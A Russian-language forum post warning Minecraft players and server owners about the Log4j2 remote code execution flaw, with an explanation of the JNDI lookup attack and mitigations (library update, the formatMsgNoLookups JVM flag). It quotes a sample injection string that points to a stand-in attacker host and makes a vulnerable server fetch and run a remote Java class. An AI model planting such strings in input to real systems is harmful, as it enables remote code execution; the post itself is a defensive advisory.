Критическая уязвимость в Apache Log4j2, затрагивающая многие версии Minecraft

Удар нанесли откуда не ждали.

На днях была обнаружена критическая уязвимость в библиотеке apache log4j2, которую Minecraft использует для логгирования.
С помощью найденного эксплоита можно не только убивать сервера, но и ВЫПОЛНЯТЬ ПРОИЗВОЛЬНЫЙ КОД (!!!) как на клиенте, так и на сервере.

Отмечается, что проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft. Ожидается, что уязвимость может привести к волне массовых атак на корпоративные приложения, повторив историю критических уязвимостей во фреймворке Apache Struts, который по приблизительной оценке применяется в web-приложениях 65% компаний из списка Fortune 100. В том числе уже зафиксированы попытки сканирования сети на предмет уязвимых систем.

Проблема была вызвана тем, что Log4j2 поддерживает обработку специальных масок {} в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.
1639175296351.png

Microsoft сообщили, что устранили уязвимость для последних версий Minecraft, но что до более старых версий - не известно когда они будут исправлены и будут ли вообще. Когда исправят в сторонних лаунчерах (TLauncher и др.) так же ничего неизвестно.

ПОЭТОМУ НАСТОЯТЕЛЬНО НЕ РЕКОМЕНДУЕТСЯ СЕЙЧАС ВООБЩЕ ИГРАТЬ НА СЕРВЕРАХ.
Будь то проект со своим лаунчером или публичный сервер.
Если вы играете на каком-то сервере, сообщите администратору об этой уязвимости, отправив ссылку на эту тему.


Решение для владельцев серверов:
1. Обновить библиотеку log4j2 до последней актуальной версии и на клиенте, и на сервере;
2. Добавить в JVM аргументы запуска данную строку: -Dlog4j2.formatMsgNoLookups=true и на клиенте, и на сервере.

Если не получается обновить библиотеку на старых версиях игры, я написал небольшую утилиту, которая патчит log4j2 и вырезает уязвимость.
В репозитории есть инструкция по применению.

Ещё материалы по теме:
 
Сверху